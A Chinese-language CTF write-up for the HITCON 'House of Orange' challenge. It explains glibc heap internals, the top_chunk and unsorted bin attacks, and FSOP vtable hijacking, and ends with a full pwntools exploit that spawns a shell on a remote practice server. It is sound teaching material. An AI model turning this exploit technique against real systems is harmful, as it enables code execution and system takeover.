HITCON-House of Orange-WP

Posted on Mar 9, 2021

House of Orange 是很有名的一种利用方法,早有耳闻,这次准备研究一下。

quick FAQ

Q:为什么我日不穿 XCTF-adword 的靶机!

A:XCTF 提供的 libc 是错的

解决方案:用 LibcSearcher。

这个问题浪费了我 2-3 个小时:(。至于我是如何发现 libc 是错的,我会在文末提及。

写在前面

本文有些地方会有一些地方插入了前置知识,我通过两条分割线来夹住这些前置知识,如果您已经了解,则可以跳过

StepⅠ 堆相关的利用

首先这种类型题目的特点是流程中没有使用 free 的机会,而我们一般的利用都需要使用到 free,此题的一大难点就是如何实现 free 的效果,做法是利用 top_chunk

ptmalloc 尽力避免了使用 mmapbrk 两系统调用,但是总是会有剩余空间不够的情况存在。事实上,当

  1. 申请的空间小于 mmap 分配阀值(默认为 128 KB,有些情况下可能会改变,比如此题(和本题关系不大)
  2. 所有的 bin 中都无法提供足够的空间
  3. top_chunk 剩余的空间也无法满足申请

这种情况下,系统会调用 brk 来增大 top_chunk,并把旧的 top_chunk 放入到 Unsorted Bin 中。

我们如果想要实现 free 的效果,大概就是通过申请一个满足刚才所说的条件的 chunk 来让 top_chunk 进入 Unsorted Bin。但是在它进入 Unsorted Bin 前,还会经过如下的合法性检测

assert((old_top == initial_top(av) && old_size == 0) ||
     ((unsigned long) (old_size) >= MINSIZE &&
      prev_inuse(old_top) &&
      ((unsigned long)old_end & pagemask) == 0));
  • (old_top == initial_top(av) && old_size == 0) 不需要过多关心,这是检测 top_chunk 是否未初始化的,若未初始化则通过检测,但是我们利用时 top_chunk 当然是通过了初始化的。
  • (unsigned long) (old_size) >= MINSIZE 这里是要保证 top_chunksize 大于 MINSIZE(64 位下为 0x20),这是因为 top_chunk 要存储 fenceposts,必须保留一定空间。fenceposts 具体是什么和本题关系不大,反正这个是很好满足的。
  • prev_inuse(old_top) top_chunk 总是会前向合并,如果没有进行前向合并,自然是非法的,很好理解
  • (unsigned long)old_end & pagemask) == 0) 由于 top_chunk 是按页分配的,所以 chunk 尾自然也应该页对齐。在伪造的时候这个是需要注意的。

一般的题目对空间申请都有设限,想要直接申请一个大于 top_chunk 剩余容量的空间是比较困难的,但是由于本题存在堆溢出的漏洞,我们可以修改 top_chunksize 域来实现之前所说的条件。总结一下伪造的 size 需要满足的条件:

  1. 伪造的 size 必须要使 top_chunk 尾与内存页对齐
  2. size 要大于 MINSIZE(0x10)
  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)
  4. sizeprev inuse 位必须为 1

这个 size 是需要针对目标运行的机器进行调试才能得出的,在靶机上能跑通的分配策略在我的机器上无法跑通,反过来也是一样。下面提供能打通靶机环境(glibc 2.19)的一种方案

payload = 'a' * 0x80 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0)
payload += p64(0) + p64(0xf31)
upgrade(len(payload),payload)

build(0x1000,'\n')
build(0x400,'a' * 8)
see()

sh.recvuntil('a' * 8)
main_arena = u64(sh.recv(6) + '\x00\x00') - 0x668
libc_base = main_arena - 0x3BE760
log.success("libc_base:" + hex(libc_base))

需要注意的是,Linux 的 read 函数并不遵守 C 中在字符串末尾加 '\x00' 的标准,所以我们写 8 个 'a' 进去就可以实现 leak 了。注意这里的 build(0x400,'a' * 8),通过申请 0x400 大小的空间,我们可以获得一个本在 Large Bin 中的 chunk,这样可以通过再次 upgrade 实现堆地址的 leak


补充两个细节

1.

为什么申请 0x400 大小的空间可以获得一个本在 Large Bin 中的 chunk?此时 Large Bin 中不是没有 chunk 吗?不应该是从 Unsorted Bin 中获得吗?

可见这个时候 Large Bin 的确是空的。

要解决这个问题我们需要简单了解一下 ptmalloc 的分配流程(libc 版本 2.26 前(不包括 2.26))

  • fast bin 中用 best fit 策略进行分配,如果成功,退出流程
  • small bin 中用 best fit 策略进行分配,如果成功,退出流程
  • 到了这一步,说明 fast binsmall bin 中都不存在合适的 chunk,就会在 Large Bin 中尝试分配,但并不是直接分配,还要经过下面的流程
    • 如果申请是 large request,就调用 malloc_consolidate 函数。这个函数做的就是把 fast bin 中所有的 bin 能合并的都合并掉,然后把整个 fast bin 中的 bin 都放到 Unsorted Bin 中。(这一步对本题来讲无用,因为本题的 fast bin 是空的)
    • 遍历 Unsorted Bin,对其中的每个 chunk 分为两种情况
      • small request:满足一交苛刻的条件时直接分割并分配,退出流程,否则就把当前的 chunk 放到其对应的 bin
      • small request:放到对应的 bin 中(本题就是利用了这里的机制获得了一个 Large Bin 的 chunk)
    • 尝试从 Large Bin 中分配(实际上我们获得的 chunk 就是从这里来的)

上面所说的苛刻条件为

  • 申请为 small request
  • unsorted bin 中仅有一个 chunk
  • unsorted bin 中仅有的 chunk 是 last remainder chunk
  • 申请的 chunk 的大小加上 MINSIZE 要小于 unsorted bin 中仅有的 chunk 的大小

这样就解释清楚了申请 0x400 大小的空间的作用和原因。

2.

本在 Large Bin 中的 chunk 为什么能够 leak 出堆地址?

这个问题比较简单

struct malloc_chunk {

INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */

struct malloc_chunk* fd;         /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size.  */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

Large Bin 还用了 fd_nextsizebk_nextsize 两个指针维护一个双链表,由于我们获得的 chunk 在 Large Bin 中的时候只有它一个 chunk,所以它的这两个指针都会指向自己,我们通过

upgrade(0x10,'a' * 0x10)
see()
sh.recvuntil('a' * 0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("heap_addr" + hex(heap_addr))

就可以 leak 出堆地址。


到这一步完成我们成功 leak 出了堆地址和 libc 基地址,现在我们 upgradebuild 都只剩下一次机会,通过常规的堆利用想要实现 getshell 比较困难,之后的利用需要用到 _IO_FILE 相关的知识。

StepⅡ _IO_FILE 有关利用

_IO_FILE 我还不是特别熟悉,因为源码还是没有仔细研究,这里就简单写一下。

本题利用的是 FSOP(File Stream Oriented Programming),基本思路是劫持结构体 _IO_FILE_plus 中维护的 vtable 中的函数指针来 getshell。


首先说一下 vtable,这其实是 glibc 为了在 C 中实现多态而维护的一张虚表,在 glibc 2.24 之前的版本中这个虚表都是可伪造的,所以我们可以直接劫持函数指针,当调用到这个函数的时候就可以 getshell。

然后说一下 FSOP 的核心思想,由于 glibc 在维护文件时使用一个链表来维护,有一个变量作为文件链表的头节点,也就是 _IO_list_all,当进程执行

  • abort 流程
  • exit 流程
  • 执行流从 main 返回

时都会自动调用 _IO_flush_all_lockp 函数,这个函数借助头节点 _IO_list_all 对链表中的节点遍历,过程中会调用其虚表中的 _IO_overflow 函数,所以如果我们劫持了某个 vtable 的这个函数指针,就可以实现 getshell 了。并且劫持了指针就可以坐等 getshell 了,因为这个函数基本上一定会被调用。


总结一下,就是我们需要让文件链表中的某个结构体的 vtable 中的 _IO_overflow 指向 system 等同类函数 getshell。

现在的情况比较严苛,我们只有一次 upgrade(堆溢出)和一次申请的机会,想要通过分配实现任意地址写当然是困难的,但是却可以通过 FSOP 来实现,思路非常的巧妙。

1.劫持 _IO_list_all——获得对文件链表的部分控制

通过 Unsorted Bin Attack 来把 _IO_list_all 指向 &main_arena + 88

具体的,分配器在进入 Unsorted Bin 分配流程时,会把 Unsorted Bin 中的每个 chunk 都取出来,这个之前有提到过,不论是放到对应的 bin 中还是返回给用户,都是不会再留在链表中的,也就是说,会被取出链表,为了维护双向链表的完整性,会进行如下的操作(bck 是当前被取出的 chunk 的 bk 指向的 chunk,unsorted_chunks (av) 就是 &main_arena + 88 啦)

/* remove from unsorted list */
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

如果提前设置某个 Unsorted Bin 中的 chunk 的 bk 指向 _IO_list_all - 0x10,那么这里的 bck 就会指向 _IO_list_all - 0x10,再利用 bck->fd = unsorted_chunks (av);_IO_list_all 就会指向 &main_arena + 88 了。

2.伪造一个可用的文件结构体

通过上一步操作,我们成功的把 *((struct _IO_FILE_plus *) &main_arena + 88) 变成了文件链表的首节点了。


结构体的构造

先看一下文件结构体的构造,_IO_list_all 维护的链表的每个节点都是一个 _IO_FILE_plus

struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

_IO_FILE 的结构是(我去掉了不会生效的宏定义)

struct _IO_FILE {
  int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

  /* The following pointers correspond to the C++ streambuf protocol. */
  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
  char* _IO_read_ptr;	/* Current read pointer */
  char* _IO_read_end;	/* End of get area. */
  char* _IO_read_base;	/* Start of putback+get area. */
  char* _IO_write_base;	/* Start of put area. */
  char* _IO_write_ptr;	/* Current put pointer. */
  char* _IO_write_end;	/* End of put area. */
  char* _IO_buf_base;	/* Start of reserve area. */
  char* _IO_buf_end;	/* End of reserve area. */
  /* The following fields are used to support backing up and undo. */
  char *_IO_save_base; /* Pointer to start of non-current get area. */
  char *_IO_backup_base;  /* Pointer to first valid character of backup area */
  char *_IO_save_end; /* Pointer to end of non-current get area. */

  struct _IO_marker *_markers;

  struct _IO_FILE *_chain;

  int _fileno;
#if 0
  int _blksize;
#else
  int _flags2;
#endif
  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */

#define __HAVE_COLUMN /* temporary */
  /* 1+column number of pbase(); 0 is unknown. */
  unsigned short _cur_column;
  signed char _vtable_offset;
  char _shortbuf[1];

  /*  char* _save_gptr;  char* _save_egptr; */

  _IO_lock_t *_lock;
#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001
  _IO_off64_t _offset;
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
  /* Wide character stream stuff.  */
  struct _IO_codecvt *_codecvt;
  struct _IO_wide_data *_wide_data;
  struct _IO_FILE *_freeres_list;
  void *_freeres_buf;
  size_t _freeres_size;
# else
  void *__pad1;
  void *__pad2;
  void *__pad3;
  void *__pad4;
  size_t __pad5;
# endif
  int _mode;
  /* Make sure we don't get into trouble again.  */
  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};

这里不用仔细看,有用的一些变量之后会说。


然后考虑劫持 _IO_overflow 函数指针,遗憾的是,我们无法完全控制 main_arena,至少没法控制 (*((struct _IO_FILE_plus *) &main_arena + 88)).vtable->_IO_overflow。那么这个结构体就没法用了,但是我们还可以通过链表中的别的结构体来实现,由于文件链表每个节点的后继指针是 struct _IO_FILE *_chain,这个指针在结构体中的偏移是 0x68,也就是 &main_arena + 88 + 0x68,这个位置正好是 smallbin[6],也就是指向大小为 0x60small bin。总结一下就是在文件链表中,(*((struct _IO_FILE_plus *) &main_arena + 88)) 的下一个文件节点是大小为 0x60small bin

那么如果在 Unsorted Bin 中有大小为 0x60 的 chunk,这个 chunk 就会被放入 small bin 中,由于 small bin 是空的,所以 smallbin[6] 会直接指向这个 chunk,这个 chunk 就成了一个在链表中的文件结构体。如果我们通过堆溢出把

`

这个 Unsorted Binsize 修改为 0x60,它就会成为一个文件结构体了,对于这个 chunk 我们可以完全控制,就可以轻松的实现劫持了。

3.收尾——一些需要注意的额外条件

完成上面的工作后,在文件链表中就会出现一个经过了我们伪造的 _IO_FILE_plus 了,但是这个伪造还是需要注意一些细节的。首先,_IO_flush_all_lockp 调用 _IO_overflow 的时机是在这个 if

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
        || (_IO_vtable_offset (fp) == 0
        && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
                    > fp->_wide_data->_IO_write_base))
#endif
        ) && _IO_OVERFLOW (fp, EOF) == EOF)

根据短路求值原理,只有满足

fp->_mode <= 0 
&& fp->_IO_write_ptr > fp->_IO_write_base
_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

以上两种情况之一时才会调用 _IO_overflow,我们选用上面哪一种,因为比较好伪造,只要满足

  • _mode <= 0
  • _IO_write_ptr > _IO_write_base

即可,那么伪造的方法是

fake_chunk = '/bin/sh\x00' + p64(0x61)
fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10)
fake_chunk += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_chunk = fake_chunk.ljust(0xc0,'\x00') #bypass lots of things
fake_chunk += p32(0) #_mode<=0
fake_chunk += p32(0) + p64(0) * 2 #bypass _unused2

payload += fake_chunk
payload += p64(heap_addr + 0x510) #vtable_addr
payload += p64(0) * 3 #bypass three function ptr
payload += p64(system_addr)

为什么我们劫持 _IO_overflowsystem 就能 getshell?因为 _IO_overflow 的第一个参数就是指向文件结构体自身头部的指针,所以我们把 '/bin/sh\x00' 写到伪造的结构体的顶部就可以实现传参了。

exp

总是感觉还有地方没说全,但是想不起来了,所以就这样吧

#!/usr/bin/env python
# coding=utf-8
from pwn import *
from LibcSearcher import *
#context.log_level = 'debug'
context.terminal = ["tmux","splitw","-h"]

def build(size,payload):
    sh.sendlineafter("choice : ",'1')
    sh.sendlineafter("name :",str(size))
    sh.sendafter("Name :",payload)
    sh.sendlineafter("Orange:",'0')
    sh.sendlineafter("Orange:",'1')

def see():
    sh.sendlineafter("choice : ",'2')

def upgrade(size,payload):
    sh.sendlineafter("choice : ",'3')
    sh.sendlineafter("name :",str(size))
    sh.sendafter("Name:",payload)
    sh.sendlineafter("Orange:",'0')
    sh.sendlineafter("Orange:",'1')

#sh = process("./houseoforange")
sh = remote("111.200.241.244",53791)
#libc = ELF("/glibc/2.19/amd64/lib/libc-2.19.so")

build(0x80,'lalala\n')

payload = 'a' * 0x80 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0)
payload += p64(0) + p64(0xf31)
upgrade(len(payload),payload)

build(0x1000,'\n')
build(0x400,'a' * 8)
see()

sh.recvuntil('a' * 8)
main_arena = u64(sh.recv(6) + '\x00\x00') - 0x610 - 88
__malloc_hook_addr = main_arena - 0x20
libc = LibcSearcher("__malloc_hook",__malloc_hook_addr)
libc_base = __malloc_hook_addr - libc.dump("__malloc_hook")
_IO_list_all_addr = libc_base + libc.dump("_IO_list_all")
system_addr = libc_base + libc.dump("system")
log.success("libc_base:" + hex(libc_base))

upgrade(0x10,'a' * 0x10)
see()
sh.recvuntil('a' * 0x10)
heap_addr = u64(sh.recv(6).ljust(8,'\x00'))
log.success("heap_addr" + hex(heap_addr))

vtable_addr = heap_addr

payload = 'a' * 0x400 + p64(0) + p64(0x21) + p64(0x1f00000000) + p64(0)

fake_chunk = '/bin/sh\x00' + p64(0x61)
fake_chunk += p64(0) + p64(_IO_list_all_addr - 0x10)
fake_chunk += p64(0) + p64(1) #_IO_write_base < _IO_write_ptr
fake_chunk = fake_chunk.ljust(0xc0,'\x00') #bypass lots of things
fake_chunk += p32(0) #_mode<=0
fake_chunk += p32(0) + p64(0) * 2 #bypass _unused2

payload += fake_chunk
payload += p64(heap_addr + 0x510) #vtable_addr
payload += p64(0) * 3 #bypass
payload += p64(system_addr)

#upgrade(len(payload),payload)
#gdb.attach(proc.pidof(sh)[0])
upgrade(len(payload),payload)

sh.sendlineafter("choice : ",'1')

sh.interactive()

注:这个 exp 是打 XCTF 的靶机的,对 BUU 的靶机可能需要微调。

后记

如何发现 libc 错误的?

过程曲折,由于我的虚拟机的 libc 版本是 2.27,我也只重新编译了 2.23 版本,所以我没法还原靶机环境,也就不知道 leak 出的地址应该减多少才能获得基地址,所以我就随便试了几个值凑到了低 12 位为零,这样当然是打不穿的。今天晚上实在是受不了了,又编译了一个 2.19 版本的 libc,调试了一下试试获得了正确的偏移,连靶机发现算出来的基地址低 12 位不是零,当时估计 libc 就是错的,用 LibcSearcher 一试,就打通了..

总结:不能怕麻烦,否则可能会更麻烦

评价题目

这道题做了 1 天多,基本上都是对着各位师傅的 WP 做的(我这么菜肯定是没法独立做出来的),做完之后首先是对 FSOP 有了初步的了解,对 ptmalloc 的分配机制也有了更深刻的认识,也纠正了一些错误的认识,题目非常好,让我学到了很多新知识。

这是我写的最长的 WP 啦